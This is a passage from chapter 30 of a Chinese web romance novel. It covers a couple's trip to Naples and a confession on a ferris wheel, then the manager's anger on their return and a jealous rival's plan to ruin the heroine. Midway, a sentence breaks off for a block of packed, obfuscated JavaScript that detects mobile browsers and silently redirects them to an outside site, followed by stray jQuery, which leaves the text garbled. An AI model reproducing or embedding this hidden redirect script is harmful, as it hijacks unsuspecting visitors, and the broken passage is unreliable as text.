30. 第 30 章
作品:《独钓寒江雪》 夜色浸染了那不勒斯的街巷,他们回到了下榻的民宿。
烬野后背的伤口经过处理,此刻裹着纱布,T恤下拱起了一大块。
他一直说没事,让姜雪先去休息,自己却在房间里有些笨拙地试图脱下沾了血的衣服。
可当布料摩擦过伤口的边缘时,细密的刺痛还是让他出了一身冷汗。
就在这时,有人敲起了房门,姜雪的声音隔着门板传来,“你还好吗?”
烬野顿了顿,打开了门。
姜雪站在门口,扫过他赤着的上身,迅速别开眼神,“我看你一个人,怕你不方便。”
烬野没有说话,只是一把将她拉进了房间,然后顺手关上了门。
房间里的灯光是暖黄色的,照得他脸上的表情有些朦胧。
他背对着她,让她能看见那片纱布,“医生说今晚尽量不要碰水。”
姜雪“嗯”了一声,走到他身后,“洗头呢?你自己可以吗?”
他今天因为伤痛出了很多汗,湿湿地黏在额前,她觉得他应该不太舒服。
烬野的声音带了点刻意的沙哑,“头发可能不太好洗。”
“那我帮你”,姜雪招呼着他坐在浴室的小凳子上,自己去拿了毛巾和洗发水。
她让他微微低头,自己小心地避开他后背的伤,用温水浸湿他的发。
他的发质很好,又黑又密。
姜雪的手指穿梭在他的发间,动作轻柔。
泡沫很快丰富起来,带着淡淡的香味。
烬野闭着眼睛,紧绷的神经一点点松弛下来。
她用清水帮他冲掉泡沫,又用毛巾仔细擦拭着,偶尔指尖会不经意触碰到他的脖颈。
烬野“嘶”了一声,身体几不可察地颤了一下。
姜雪吓了一跳,手上的动作立刻停了:“怎么了?弄疼你伤口了?”
烬野没回头,声音闷闷的:“嗯,有点。”
姜雪有点慌了,赶紧把吹风机开到最大,对着他头发吹,生怕多耽误一秒。
她摸了摸干燥的头发,弯腰问他:“还疼吗?”
烬野沉默了几秒,慢慢转过身子,“疼。”
姜雪看着他在灯光下显得有些苍白的脸色,心揪得更紧了,“对不起对不起,我太不小心了,你给我看看。”
她伸手要碰他的后背,手腕却被他扣住了。
他的眼神里带着点狡黠,嘴角却微微向下撇着,装作一副可怜兮兮的样子,“你能不能亲我一下?亲一下,可能就不疼了。”
姜雪愣住了。
她想起今早那个蜻蜓点水的吻,以为他只是需要一点安慰。
她点了点头。就在她准备凑过去时,烬野忽然站了起来。
下一秒,他右手扣住她的后脑勺,左手揽住她的腰,猛地一带,就把她整个人压在了旁边的墙壁上。
冰凉的墙壁让她激灵了一下,还没等她反应过来,他的吻就铺天盖地落了下来。
他带着强烈的占有欲和不容拒绝的力道,舌尖撬开她的牙关,探进去,纠缠着,掠夺着她口中的空气。
姜雪脑子“嗡”的一声,一片空白,只能被迫承受着他汹涌而来的热情。
他的呼吸有些粗重,喷洒在她的颈窝,痒痒的,热热的。
她能清晰地感受到他胸膛的起伏和有力的心跳,一下一下,撞击着她的耳膜,也撞击着她的心。
房间里的温度似乎都升高了几度。
直到氧气不够,他们才不得不分开。
两个人都在大口喘气,额头抵着额头,能听到彼此急促的呼吸声。
“现在不疼了”,烬野声音低沉,带着满足的笑意,眼睛亮得惊人。
他的拇指轻抚过她微肿的唇瓣,动作轻得像羽毛,“但是别的地方开始疼了。”
姜雪脸颊绯红,心跳得飞快。她瞪了他一眼,却没什么威慑力。
这个家伙,真是越来越会得寸进尺了。
那不勒斯之行的最后一天,他们选择了登上费拉里斯摩天轮。
烬野坚持要去,说是要看整个城市的夜景。
姜雪觉得他还在养伤,不应该到处跑,但架不住他的执着。
摩天轮缓缓升起,脚下的景物逐渐缩小。
“真美啊!”姜雪趴在窗边,看着下面的万家灯火。
烬野没有看风景,一直在看她,“嗯,是很美。”
当座舱升到最高点的时候,远处的天空突然绽放出绚烂的烟花。
一朵又一朵,在漆黑的夜幕中盛开,短暂却极致浪漫。
五彩的光芒映照在两个人的脸上,一切都美好得有些不真实。
姜雪看着窗外的烟花,心里却涌起一阵患得患失的感觉。
她转过头,对着烬野问出了盘桓心底许久的问题,“你为什么会喜欢我啊?”
烬野没想到她会问这个。他愣了一下,低头看她:“喜欢就是喜欢,哪有那么多为什么。”
“可是”,姜雪抿了抿唇,“我觉得自己一点都不好。我比你大,离过婚,工作也不算特别稳定,性格可能也不够有趣。我怕你喜欢的,只是以前支教时候,你印象里的那个我,而不是现在的我。”
她的声音带着脆弱,越说越低。
那段失败的婚姻,像一根刺,虽然不常想起,但偶尔还是会隐隐作痛,让她在面对新的感情时,不自觉地缺乏自信。
烬野默了默,捧起她的脸,让她看着自己的眼睛。
“我喜欢十年前那个在简陋教室里,认真教我们历史的姜老师。”
“喜欢她就算生着病,声音沙哑,也会坚持上完课。”
“喜欢她明明害怕,却还是会挡在我身前。”
“我也喜欢现在这个,会因为学生受委屈而据理力争的姜雪。”
“喜欢她会为我脸红,会偷偷关心我,会因为我受伤而掉眼泪。”
他的每一个字都敲在她的心上,“我喜欢的是你,活生生的你,不是什么印象,也不是什么幻影。过去是你,现在是你,未来也只会是你。”
“我不是一时兴起”,他从口袋里掏出一个小小的丝绒盒子,打开是一条项链。吊坠是一个弯弯的月牙,很简单,却很精致。
“十五岁那年,在你支教临走前,我就去买了这个,可是后面没送成”,他的目光温柔如水,“它等了你很多年,现在能物归原主了吗?”
姜雪哽咽着,点了点头。
烬野取出项链,帮她戴在脖子上,
月牙吊坠贴在她的肌肤上,带着凉意,却又好像带着他手心的温度。
“所以,别再问我为什么喜欢你这种傻问题了”,烬野帮她理了理头发,语气带着宠溺,“也别再说自己不好。在我心里,你就是最好的。”
烟花还在继续绽放,摩天轮开始缓缓下降。
姜雪心里那点不安,终于被满满的幸福感所取代。
回程的飞机上,窗外是无尽的云海。
烬野从起飞开始,就一直拉着姜雪的手,与她十指紧扣。
姜雪动了动手指,小声嘟囔:“我又不会跑掉。”
烬野侧过头看她,“那要不,等一下飞机,我们官宣好了?让全世界都知道,姜老师是我的人。”
姜雪看着他眼中闪烁的光芒,知道他不是在开玩笑。
但她还是摇了摇头,“感情是我们两个人的事,我不喜欢生活在聚光灯下。而且我只是个普通老师,我还是想过平静一点的生活。”
烬野脸上的笑容
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15714261|172420||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
淡了一些,但很快又恢复如常。
他握紧了她的手,“好,都听你的。”
——————————
烬野回到公司的第一件事,就是被毛远叫进了会议室。
偌大的会议室里,空气有些凝滞。
毛远将一叠文件重重摔在会议桌上,发出沉闷的声响,“烬野,你可真行啊!”
她的声音带着压抑的怒火,视线像探照灯一样扫过对面沙发上的人,“消失一个星期,还把自己搞成这副德行,你当公司是你家开的啊?”
烬野穿着宽松的休闲服,领口微微敞开,虽然这个角度看不到他后背的伤口,但他的坐姿依旧有些不自然。
他揉了揉眉心,清俊的脸上带着旅途未褪的疲惫,“对不起,这次确实是我冲动了。”
毛远冷哼一声,双臂环胸,“冲动?你知道你这一个星期的‘冲动’,给公司造成多大损失吗?多少通告延期,多少品牌方等着要解释?”
烬野没有反驳,只是安静地听着。他知道毛远说的都是事实。
“当时情况紧急,我没办法”,他顿了顿,补充道:“姜雪不见了,就算把我关在这里,我也做不了工作。”
他不想过多解释过程,但提到姜雪,语气里不自觉带上了柔软。
毛远锐利的目光在他脸上逡巡片刻,捕捉到他眉梢眼角那抹藏不住的春意,“你这趟出去,是不是跟姜雪在一起了?”
烬野坦然地迎上她的视线,没有丝毫隐瞒:“对。”
毛远像是被噎了一下,意料之中,却又觉得不可思议。
烬野看着她,继续道:“不过姜雪不喜欢高调,所以我们不打算官宣。以后可能需要你配合一下,我们走地下情路线。”
“地下情?!”
毛远噌地一下从椅子上站了起来,声音拔高了好几度,“烬野!你有没有搞清楚自己的身份?!你是顶流!顶流!你跟我说你要搞地下情?你是不是恋爱脑上头了?”
她气得在会议室里来回踱步,“我早就警告过你,离那个姜雪远一点!她会毁了你的!”
烬野脸上的笑意淡去,眼神却依旧坚定,“我很清楚自己在做什么。”
“你清楚?我看你一点都不清楚!”毛远指着他,“你现在事业如日中天,任何一点负面新闻都可能让你万劫不复!谈恋爱不是不行,但你看看你选的这个对象!”
烬野的眉头皱了起来,“她很好。”
“好?好在哪里?一个离过婚,还比你大的女人,她能给你带来什么?粉丝知道了会怎么想?!”毛远越说越激动。
“我不在乎别人怎么想。”烬野打断她,“我喜欢她,这就够了。”
毛远气得胸口起伏,指着烬野的手指都在发抖。
她太了解烬野的脾气了,一旦认定的事情,十头牛都拉不回来。
“行,行!烬野,你真是长大了,翅膀硬了!”毛远气急败坏,“我告诉你,这件事要是爆出来,后果你自己承担!”
烬野平静地看着她,“我知道。”
会议室的门虚掩着一条缝隙。
吴若妍站在门外,指甲深深掐进掌心。
她原本是来找烬野,却没想到会听到这样一番对话。
烬野苍白却带着餍足的脸,他承认恋情时那毫不犹豫的语气,还有那句“我很清楚自己在做什么”,每一个字都像针一样扎进她的心里。
凭什么?
那个姜雪到底有什么好?
一个离过婚的二手货,一个普普通通的老师,凭什么能得到烬野如此的对待?她哪里比不上了?
妒火在她胸腔中熊熊燃烧,几乎要将她吞噬。
既然烬野这么在乎,那她就偏要毁掉那个女人。